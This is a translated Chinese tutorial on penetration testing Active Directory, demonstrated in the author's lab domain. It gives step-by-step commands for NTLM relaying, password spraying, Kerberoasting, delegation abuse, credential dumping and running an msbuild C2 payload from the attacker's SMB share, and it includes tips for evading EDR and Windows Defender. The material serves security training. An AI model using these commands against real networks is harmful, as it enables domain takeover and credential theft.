针对活动目录(AD)的渗透测试全攻略

41yf1sh 系统安全 2019年3月25日发布
Favorite收藏

导语:在渗透测试领域,我发现存在一个薄弱之处,就是缺乏有关活动目录(AD)方面的知识。不幸的是,OSCP中没有AD测试的教学,甚至SANS GPEN课程也几乎没有触及到。本文的主要目的是盘点我在过去成功使用的一些技术、工具和方法。

概述

最近,我有几个客户来找我进行渗透测试。由于他们的资产在漏洞扫描中没有发现严重漏洞,因此他们认为已经准备好进行测试。但实际情况是,我利用AD域中的错误配置,仅在15分钟之内就获得了域管理员的权限。

在渗透测试领域,我发现存在一个薄弱之处,就是缺乏有关活动目录(AD)方面的知识。不幸的是,OSCP中没有AD测试的教学,甚至SANS GPEN课程也几乎没有触及到。本文的主要目的是盘点我在过去成功使用的一些技术、工具和方法。我将使用Kali Linux 2019,并通过虚拟机的方式,在我自己的虚拟域中运行。

我们首先需要明确目标,渗透测试的目标是识别攻击者为破坏网络而可能使用的任何攻击媒介。我们的目标并不是获得域管理员,而是帮助客户消除这一攻击媒介。

现在,我们有了一个目标,我们遵循了几个步骤来实现。下面是关于测试环节的粗略流程。

1.png

客户邀请我们在其网络上进行渗透测试,该网络使用了活动目录。最开始,我们没有凭据,没有测试范围,没有从大门进入的门禁卡。但是,我们可以尝试找到后门,发现一些有IP电话的偏僻房间。我们拔下IP电话的连接线,插上笔记本电脑的网线,并成功连接网络。那么,下一步是什么呢?答案是立足点。

第一阶段:立足点

在没有凭据的情况下,我们可以进行有限的侦查。实际上,在整个周期的每一环节中都要进行侦查,但在目前的环节上,我们可以采取一些措施来在网络上“立足”。首先,由于我们已经拥有了网络的访问权限,所以只需通过ifconfig或ipconfig来查看我们所在的子网。在获得IP地址之后,可以在nmap中执行ping扫描,以查看是否可以访问其他设备。

nmap -sn 192.168.1.1/24

如果设备返回了信息,那么我们就得到了有效的情报。如果我们一无所获,可能是由于禁用了ICMP、网络上没有其他设备,或者是因为我们未经过身份验证,所以无法与其他设备将进行通信,还有可能是已经被身份安全解决方案(例如:Cisco ISE)阻止。我们假设,已经发现了一些其他主机,并且可以成功Ping通它们。

工具:Responder

接下来,我们将使用一个名为Responder的工具。如果你偏爱Windows环境,可以使用Inveigh。这两个工具的作用是检查AD中非常常见的错误配置,并发现潜在的WPAD和NBT-NS投毒问题。默认情况下,Windows会被配置为在使用网络时由Web代理自动发现文件。这在组织中非常有用,因为设备将发送广播请求代理文件,并接收代理文件。但是,它并不会验证发送代理文件的来源,也就允许攻击者发送欺骗性的响应,然后请求凭据。

在Kali中,已经预装了Responder。

responder -I eth0 –wpad

在我的Windows 7主机上,我打开Internet Explorer并访问Google,然后在Google上搜索WPAD文件。在Responder中,我看到请求通过,然后Responder自动使用挑战(Challenge)回复请求,这导致受害者发送他们的用户名和哈希运算后的密码(使用NTLMv2格式)。

2.png

有了这个哈希值之后,我们就可以做一些事情。我们可以尝试破解该值,或者可以使用像ntlmrelay.py这样的工具来实现中继。我在另外一篇文章中讨论了如何传递NTLM哈希值,所以我将跳过破解的步骤。

实际上,我很少会在Linux/Kali环境中进行密码破解。我的设备使用的是NVIDIA的GPU,因此它无法与Kali兼容。并且,在Windows环境,我们还可以使用HashcatGUI,这一工具使用起来更加容易。因此,我将使用Windows的工具。我将收集到的哈希值放在一个名为hash.txt的文件中,并添加了一些单词作为密码字典。但实际情况是,我使用rockyou.txt运行了该工具,只花费了1秒的时间就成功破解了。

3.png

4.png

现在,我们已经成功破解了密码,已经拥有了凭据Alice:Password。

在继续下一步之前,我们还希望介绍一些在Responder不起作用时的替代方法。

工具:mitm6

假设客户端的网络正在使用合法的WPAD PAC文件,并且我们的欺骗方式无法正常工作。还有另一种技术,是利用IPv6和DNS将凭据中继到目标。默认情况下,IPv6已经启用,并且优先于IPv4,这意味着计算机如果具有IPv6服务器,那么将会被优先使用。此外,默认情况下,Windows主机会通过DHCPv6请求查找IPv6 DNS服务器。如果我们使用假的IPv6 DNS服务器进行欺骗,我们就可以有效控制设备查询DNS的方式。更详细的内容,可以阅读这里

首先,下载mitm6

git clone https://github.com/fox-it/mitm6.git
cd mitm6
pip install

然后,将针对目标网络工作组运行该工具。由于之前我们已经进行了Ping扫描,并且也收到了NetBIOS名称,显示目标域是lab.local。

这是我运行mitm6之前,目标的IP设置:

5.png

然后,我运行了mitm6。

mitm6 -d lab.local

6.png

现在,目标上的DNS服务器已经发生了变化。

7.png

现在,真正的漏洞在于Windows会优先选择IPv6,优先级比IPv4更高,这意味着我可以控制DNS服务器。

现在,我们可以利用ntlmrelayx.py再次欺骗WPAD回答并控制DNS。我写了一篇如何设置的指南,可以在这里阅读。

我们在一个窗口中运行mitm6,然后打开另一个窗口,并运行ntlmrelayx.py。

ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.128/ -i

-wh:托管WPAD文件的服务器(攻击者的IP)。

-t:目标(我们无法将凭据中继到正在欺骗的同一设备)。

-i:打开一个交互式Shell。

8.png

从这里,我们可以通过netcat连接到Shell,就如同拥有一个完全交互的SMB Shell一样。或者,我们可以通过-c(命令)选项,发送一个Empire Stager。实际上,我们在这里的选择仅限于ntlmrelayx.py所能实现的功能。我使用-c命令来执行SILENTTRINITY Payload。在这篇文章中,我详细描述了SILENTTRINITY的用法。

ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.50/ --no-smb-server -c 'C:\Windows\Microsoft.NET\Framework64\v3.5\msbuild.exe \\192.168.218.129\SMB\msbuild.xml'

9.png

但是,msbuild.exe在这种情况下不会构建XML文件,我没有返回到SILENTTRINITY,因为这太简单了。相反,我查看SMB服务器,并分析中继的哈希值。

10.png

我们尝试对哈希值进行破解。

11.png

现在,我们就成功的在不使用Responder的情况下拥有网络上的凭据。

工具:CrackMapExec

CrackMapExec本质上是一把瑞士军刀,涵盖众多功能,从密码喷射(Password Spraying)到哈希值传递再到命令执行。我认为,这个工具应该存在于每一个渗透测试工具包中。

如果一切方法都失败了,我们可以尝试密码喷射的方法。之所以这个方法被放在最后,是因为密码锁定的问题。密码锁定并不像大家普遍所想象的那么常见,这使得攻击者可以对用户名使用字典攻击。获取用户名是第一步,可以通过OSINT和使用收集工具来完成。如果我们没有来自OSINT的用户名,我们也可以给CrackMapExec(CME)添加一个用户名单词字典,但是为了提高效率,我们假设已经掌握了用户名rsmith。

如果使用的是Kali的较新版本,在上面已经预装了CrackMapExec。如果不是,可以通过如下命令安装该工具:

apt-get install crackmapexec

由于我们在扫描中已经识别出了网络上提供的设备,因此我们可以向CME提供与用户名相匹配的密码字典,并尝试登录。

crackmapexec smb 192.168.218.40 -d lab.local -u rsmith -p ~/Documents/wordlists/fasttrack.txt –shares

在几秒钟后,就找到了密码。

12.png

它可能看起来像是CTF-y,但季节:年份是一个非常受欢迎的密码组合。

通过这些发现的凭据,我们现在已经拥有了一个常规的用户帐户,并且可以继续进行第二阶段中的权限提升。

第二阶段:权限提升和侦查

在上一阶段中,我们以三种不同的方式获得了域的凭据。在这一阶段中,我们将使用rsmith用户凭据,因为其级别较低,因此我们必须要进行权限提升。

在Windows中,要进行权限提升,可以利用未安装的补丁(漏洞)或不带引号的服务路径来实现,但由于这是对AD的测试,所以我们将利用与AD相关的内容来实现权限提升。

掌握了网络凭据之后,现在我们应该进行一些调查,然后再直接利用未安装补丁的漏洞。一些工具和技术能够帮助我们实现这一点。

“花在侦查上的时间,永远不算是浪费。” ——Arthur Wellesley

工具:Bloodhound

我最喜欢的工具之一是Bloodhound。攻击者如果使用图表辅助,可以更好地分析其中的关系,因此Bloodhound是一个非常好的工具,因为它在图表中绘制了域的关系,并揭示了其中的关联性。从攻击者的角度来看,这非常有趣,因为它向我们揭示了目标。

我在Bloodhound上写了一整篇文章,可以在这里阅读,我会在本文中展示一个比较简短的版本。

假设我们没有在计算机上打开会话,但已经拥有凭据,我们仍然可以使用Bloodhound的Python提取工具来远程收集数据。它可以通过Git来安装。

git clone https://github.com/fox-it/BloodHound.py.git
cd BloodHound.py/ && pip install

然后,可以传递凭据、域名和DC IP。

bloodhound-python -d lab.local -u rsmith -p Winter2017 -gc LAB2008DC01.lab.local -c all

13.png

一旦Bloodhound完成工作,它会将数据存储在运行目录下,格式为.json。我们复制这些文件,然后再将其拖动到Bloodhound中,就能够得到一个漂亮的网络图。如果按照“域管理员的最短路径”排序,我们将得到类似于下面的内容:

14.png

这样做的好处是,我们可以直接查看管理员登录到了哪些计算机,从而找到下一个目标。在数百台甚至数千台具有低权限凭据的计算机的域中,我们也不希望在收集其他低权限凭据这件事上浪费时间。借助该工具,我们拥有了目标列表,以及许多其他内容。其他用途包括,识别可能包含数据库凭据的SQL服务器、识别哪些主机开启了RDP,以及更多。我建议各位读者深入了解它的更多功能。另外,我建议读者研究一下GoFetch,它自动利用Bloodhound绘制的攻击计划。

攻击Kerberoasting | 工具:GetUserSPNs.py

通过标识目标列表和域控制器,有一种有效的权限提升方案是Kerberoasting,因为服务帐户在AD中已经发布了服务主体名称(SPN)。随后,任何用户都可以从SPN请求Kerberos票证(Ticket),该票证中包含该帐户对应的哈希密码(使用Kerberos 5 TGS-REP格式)。有许多不同的工具可以进行Kerberoasting,但实际上你只需要使用一个工具。

GetUserSPNs.py的功能如同它的名字,在目标域中查询在用户帐户下运行的SPN。使用它的过程非常简单。

15.png

现在,我们已经拥有一个服务帐户的哈希值。我将其加载到hashcat(GUI版本),并选择哈希类型13100,如下所示。

16.png

在几秒钟之内,就可以完成破解。

17.png

我们现在已经拥有服务帐户的凭据,借助这一凭据,我们通常就可以访问域控制器了。这台容易了吗?我们可以尝试一下其他的方式。

攻击:ASEPRoasting | 工具:Rubeus

ASEPRoasting类似于Kerberoasting,我们可以查询帐户的TGT,获取哈希值,然后对其进行破解。但如果要使用ASEPRoasting这种攻击方式,必须先禁用Kerberos身份预验证。当我们通过Kerberos AS-REQ消息请求TGT时,还需要提供使用我们的用户名和密码加密的时间戳。密钥分发中心(KDC)随后会解密时间戳,验证请求是否确实来自该用户,然后继续验证过程。这就是Kerberos的身份预验证过程,显然会给攻击者增加一个难题,因为不是KDC所以无法解密该消息。当然,这一机制是故意设置的,以防止攻击。但是,如果关闭身份预验证,我们就可以向任何返回其密码哈希值的用户发送AS-REQ。由于默认情况下启用了预验证,因此必须手动关闭。

18.png

为了利用这种攻击方式,我们要使用一个名为Rubeus的工具。Rubeus是一个滥用Kerberos的大型工具集,但是进行的是ASREPRoasting的攻击方式。要使用Rubeus,首先要安装Visual Studio。安装完成后,下载Rubeus并使用Visual Studio以打开Rubeus.sln文件。

19.png

20.png

在默认情况下,它将被安装在Rubeus\bin\Debug\目录中。我们cd进入该目录,然后运行它:

.\Rubeus.exe asreproast

21.png

如果没有用户选择“不要求Kerberos身份预验证”,那么就无法对任何用户进行攻击。但是,如果有用户…

22.png

然后,我们可以为用户获取哈希值,并进行破解。

需要注意的是,我们的示例是在已经加入域的计算机上完成的,如果是从不在域中的计算机执行此操作,则必须输入域控制器、域名、OU等内容。

工具:SILENTTRINITY

SILENTTRINITY是由byt3bl33d3r开发的一种新型命令与控制(C2)工具,它使用IronPython和C#。我们也可以选择使用MSBuild.exe,这是一个Windows二进制文件,它将构建C#代码(默认情况下也安装在Windows 10中,作为.NET的一部分),以XML格式运行命令与控制(C2)Payload,然后允许攻击者使用底层.NET框架借助IronPython、C#和其他语言在受害者的主机上进行操作。

就我个人而言,目前在我的工具包中,SILENTTRINITY已经取代了Empire。我在这里写了一篇关于如何使用Empire的指南。尽管在一些情况下,我仍喜欢使用Empire,但SILENTTRINITY还正在处于“alpha”状态,因此还有一些功能会在后续被开发。在我看来,SILENTTRINITY与Empire相比有三个主要优势。

1. Empire Payload现在已经可以被Windows Defender发现,甚至即使是混淆后的版本(存在规避的方法)。

2. SILENTTRINITY仍然处于没有被检测到的状态。

3. 使用–at-exec开关,在CME上执行Payload时,可以升级到SYSTEM权限。

下面是使用非域管理员用户凭据的全新Windows 10安装中的PoC。

23.png

24.png

我在SILENTTRINITY中生成XML Payload,然后通过smbserver.py将其托管在我的SMB服务器上。如果对具体步骤存在疑问,可以阅读我的指南。然后,我使用CME执行从攻击者计算机上获取XML文件的命令。

crackmapexec 192.168.218.60 -u tsmith -p Password! -d lab.local -x 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe  \\192.168.218.129\SMB\msbuild.xml' --exec-method atexec

25.png

现在,我已经在SILENTTRINITY中开启了一个会话。

26.png

根据会话列出的信息,显示我的用户名为SYSTEM,这意味着我成功从用户tsmith升级到SYSTEM,因为MSBuild.exe运行–exec-method atexec选项,它使用具有SYSTEM权限的任务计划程序(或其他尽可能高级别的进程)运行命令。

27.png

当然,我们接下来要做的就是转储凭据,现在已经拥有了管理员密码的哈希值,可以进行破解。

28.png

攻击:PrivExchange

PrivExchange是一种新技术,它利用默认情况下Exchange服务器会被授予过度权限的事实。这是Dirkjann在一个多月前发现的攻击方式,也是目前快速实现权限提升的绝佳方式。

其工作原理是查询Exchange服务器,获取包含Exchange服务器凭据的响应,然后通过ntlmrelayx将相响应中的凭据中继到域控制器,然后修改用户的权限,以便他们可以在域控制器上转储哈希值。

其部署过程有一些痛苦。Exchange 2013是使用Windows 2012 R2服务器上的默认方法安装的,我对PrivExchange的Python脚本进行了修改,以便其能在没有有效SSL证书的情况下工作。在那之后,一切都运行良好。

首先,启动ntlmrelayx.py,并将其指向DC,通过LDAP进行身份验证并实现用户权限提升。

ntlmrelayx.py -t ldap://192.168.218.10 --escalate-user rsmith

然后,运行privexchange.py,并将攻击者IP(-ah)、目标、用户名、密码、域作为参数传入。

python privexchange.py -ah 192.168.218.129 LAB2012DC02.lab.local -u rsmith -d lab.local -p Winter201

29.png

30.png

31.png

现在,拥有所有用户的哈希值,我们就可以开始破解。

备注:如果曾经运行过Mimikatz并被反病毒软件发现,那么我们就可以看出,secrettsdump.py是一个很好的选择,因为它不会投放任何东西到磁盘中。

攻击:Kerberos无约束委派

该攻击方式同样由Dirk-jan发明,是一种利用默认AD安装的攻击。具体而言,在默认情况下,计算机可以更改与其权限相关的某些属性,例如msDS-AllowedToActOnBehalfOfOtherIdentity。该属性控制用户是否可以通过Kerberos模拟登录(几乎是)域中的任何计算机。通过中继凭证,可以实现这一点。我在第一部分中演示了mitm6,因此我在这里将再次使用该工具,但是以不同的方式传递响应。

mitm6 -i ens33 -d lab.local

32.png

然后,我借助WPAD文件,通过LDAPS将凭据中继到主DC,并选择委派访问攻击方法。

ntlmrelayx.py -t ldaps://LAB2012DC01.lab.local -wh 192.168.10.100 --delegate-access

33.png

34.png

受害者打开IE,通过IPv6发出WPAD请求,攻击者响应并通过LDAPS将这些凭据转发给DC。创建一台新计算机,并修改委派权限,以使新的计算机可以通过msDS-AllowedToActOnBehalfOfOtherIdentity属性模拟LABWIN10(受害者)上的任何用户。所以现在,我生成了一个银色票据(Ticket),并冒充用户Administrator。

getST.py -spn cifs/LABWIN10.lab.local lab.local/AFWMZ0DS\$ -dc-ip 192.168.10.10 -impersonate Administrator

35.png

然后,我通过secretsdump.py,使用我的银色票据登录到LABWIN10,并转储凭据。

36.png

要了解有关银色票据攻击及其工作方式的更多信息,可以阅读这篇文章

攻击:基于资源的约束委派

由于msDS-AllowedToActOnBehalfOfOtherIdentity属性,将会导致更多的攻击。@harmj0y在几周之前发表了一篇文章。基本上,如果我们可以在AD中更改计算机对象,就可以接管计算机本身。唯一的问题是,需要有一个2012系统+域控制器,因为旧版本不支持基于资源的约束委派(RBCD)。在这篇文章中,Elad Shamir描述了完整的攻击过程,其中包含更多关于RBCD的内容。

有3种工具可以使用:PowermadPowerviewRubeus。可以使用rsmith的凭据,在Windows 10计算机上执行此攻击。首先,我们将executionpolicy设置为绕过,以便可以导入和运行脚本。

Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope CurrentUser

37.png

然后,我们检查是否可以修改自主访问控制列表(DACL)。

$AttackerSID = Get-DomainGroup Users -Properties objectsid | Select -Expand objectsid
Get-DomainObjectACL LAB2012DC01.lab.local | ?{$_.SecurityIdentifier -match $AttackerSID}

38.png

上述命令会查找“Users”SID的权限,表明该组对该对象(DC)具有生成和写入的权限。

默认情况下,这是不可利用的。这会滥用管理员可能会进行的错误配置。在示例中,管理员将“Users”组添加为DC的主体,并允许GenericWrite属性。

在PoC中,rsmith(属于Users组)无法进入DC。

39.png

我们接下来要做的,是创建一个新的计算机帐户,并修改域控制器上的属性,以允许新的计算机帐户伪装成域控制器的任何人,这完全归功于msDS-allowedToActOnBehalfOfOtherIdentity。我们可以创建一个新的计算机帐户,因为默认情况下,用户最多可以创建10个计算机账户。Powermad有对应的功能:

New-MachineAccount -MachineAccount hackermachine -Password $(ConvertTo-SecureString 'Spring2017' -AsPlainText -Force)

40.png

然后,我们将新机器的SID添加到DC上的msDS-allowedToActOnBehalfOfOtherIdentity属性中。

$ComputerSid = Get-DomainComputer hackermachine -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

然后,使用Rebeus获取我们创建的主机的NT密码。

.\Rubeus.exe hash /password:Spring2017 /user:hackermachine /domain:lab.local

41.png

最后,在目标DC上使用Rubeus的用户服务(S4U)进程模拟域管理员(Administrator)。

.\Rubeus.exe s4u /user:hackermachine$ /rc4:9EFAFD86A2791ED001085B4F878AF381 /impersonateuser:Administrator /msdsspn:cifs/LAB2012DC01.lab.local /ptt

42.png

导入票据后,我们可以访问域控制器。

43.png

同样,这是利用系统管理员的失误,即添加“Users”组并允许Generic_Write访问DC。及时我们无法通过SMB访问,但也可以修改权限。在这里,有SpecterOps的演示视频。

攻击:MS14-025,GPP

这种攻击方式不太常见,因为它已经出现了很长一段时间,但之所以被提及,是因为这种攻击方法仍然存在。MS14-025漏洞也被称为组策略首选项权限提升漏洞。

当域管理员通过组策略首选项推出本地管理员帐户时,它会将加密的凭据存储在域控制器上的SYSVOL共享中(由于它是存储策略和域客户端需要的其他内容访问的位置,所以任何人都可以访问SYSVOL)。这通常不成问题,因为是使用AES加密的。然而事实是这样吗?不幸的是,愚蠢的微软发布了解密密钥,因此攻击者可以对密码进行解密。为了简化起见,在Metasploit中有一个辅助模块。

44.png

45.png

攻击:查找特权帐户 | 工具:CrackMapExec

工具:https://github.com/byt3bl33d3r/CrackMapExec

实际上,这不一定是“攻击”,因为它其实是一种侦查和枚举的方法,一些工具可以帮助解决这一问题。就本文而言,这一章似乎是延伸的内容,但在实际上,特权帐户非常普遍,可以找到个人帐户,然后登录到另外的个人工作站,并读取上面的内容。此外,拥有登录到服务器权限的用户,应该没有业务访问的权限,这会导致攻击者能够在任意位置转储凭据,并最终找到能在域控制器上使用的凭据。

这里使用的方法非常简单:在网络上对凭据进行喷射(Spray),查看我们可以登录的位置。使用crackmapexec,可以列出共享,并查看哪些具有写入权限。

crackmapexec 192.168.218.0/24 -u rsmith -p Winter2017 –shares

46.png

从这里开始,就可以使用SILENTTRINITY得到具有写入权限用户的会话,然后运行mimikatz模块,尝试寻找具有特权的新凭据。请记住,可以将CME与CIDR一起使用,这意味着如果我们使用SILENTTRINITY作为C2服务器并使用CME触发连接,就可以通过网络将其喷射到尽可能多的会话中。尽管它对OpSec并不是非常友好,并且非常混乱,但这确实是一种可以考虑的方案。

工具:PowerTools套件

攻击1:在文件中查找密码

我们要寻找的另外一个东西,就是文件中的密码。有几次,我发现用户在Documents文件夹中存储了电子邮件,其中就包含一个密码。或者,有人会保留带有密码的Excel/Word文档。这时候,就是PowerSploit套件派上用场的时候了。基本上,如果想做一些恶意的事情,就要使用到PowerShell模块。如果要搜索密码或任意字符串,那么PowerView可以帮助我们实现。需要注意的是,EDR几乎能监测到这个套件中的所有模块,因此我建议在使用Invoke-Obfuscation进行混淆之前先对其进行编码。PowerView使用起来比较简单,下载PowerSploit套件,并在解压缩的目录中打开PowerShell(需要管理员权限)。

首先,允许运行脚本:

Set-ExecutionPolicy Bypass

然后导入模块:

Import-Module .\PowerView.ps1

47.png

在PowerView模块中,有一个名为Invoke-FileFinder的命令,它允许我们搜索文件名或文件内部包含的任意字符串。我们考虑搜索字符串“password”。

48.png

49.png

请注意,这一过程需要较长时间,将有助于缩小搜索区域,并从该目录中运行命令。

攻击2:Get-ExploitableSystem

这是一个自我解释的脚本,它将向活动目录查询每个计算机帐户的主机名、操作系统版本和Service Pack(SP)级别,然后与常见Metasploit漏洞利用列表进行交叉比对。

首先,导入整个PowerSploit套件:

Import-Module .\PowerSploit.psd1

50.png

然后运行命令:

Get-ExploitableSystem –Verbose

51.png

攻击3:PowerUp

在PowerUp模块中,有一个名为Invoke-All-Checks的函数。它将检查所有内容,从不带引号的服务路径到MS14-025漏洞,将会进行很多工作。大家可以在GitHub上查看关于它的更多信息。

使用这个函数非常简单:

Invoke-AllChecks

52.png

攻击4:GetSystem

该模块与Metasploit中的GetSystem函数的功能相同。要了解有关具体内容的更多信息,可以阅读CobaltStrike撰写的这篇文章

只需运行命令:

Get-System -Technique Token

或者:

Get-System -ServiceName 'PrivescSvc' -PipeName 'secret'

53.png

54.png

工具:ADAPE

我编写了一个名为ADAPE(Active Directory Assessment and Privilege Escalation)的脚本

ADAPE是使用PowerShell编写的,它使用几种不同的其他工具函数,并自动运行,从而无需再从这么多个工具中移植。该工具也经过混淆,并会关闭Windows Defender,从而绕过EDR。

ADAPE易于使用。只需下载,然后将其移植到目标Windows主机上,然后运行。

PowerShell.exe -ExecutionPolicy Bypass ./ADAPE.ps1

由于包含了所有必须的脚本,因此无需访问网络,结果将存储在可以导出的capture.zip文件中。

55.png

56.png

57.png

打开捕获到的文件后,就能获得所有结果。

58.png

不过,这篇文章并不全面,只是盘点了我多年来成功使用的一些工具和攻击方法。在这些工具中,至少能有一个可以使用。在后续,我将会讨论后期漏洞利用和持久性。

参考资源

我并没有发明这些技术,只是对其进行了盘点。

最后,非常感谢@harmj0y、@cptjesus、@_wald0,以及SpecterOps团队的其他成员,感谢他们所做的精彩研究,以及发明的优秀工具。

感谢Bloodhound Slack回答了我的问题。

感谢@byt3bl33d3r和Black Hills InfoSec团队提供的研究和工具。

感谢@_dirkjan和Fox-it团队的研究和工具。

最后,感谢各位读者阅读本文。

本文翻译自:https://hausec.com/2019/03/05/penetration-testing-active-directory-part-i/ https://hausec.com/2019/03/12/penetration-testing-active-directory-part-ii/如若转载,请注明原文地址: https://www.4hou.com/system/16844.html
点赞 3
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论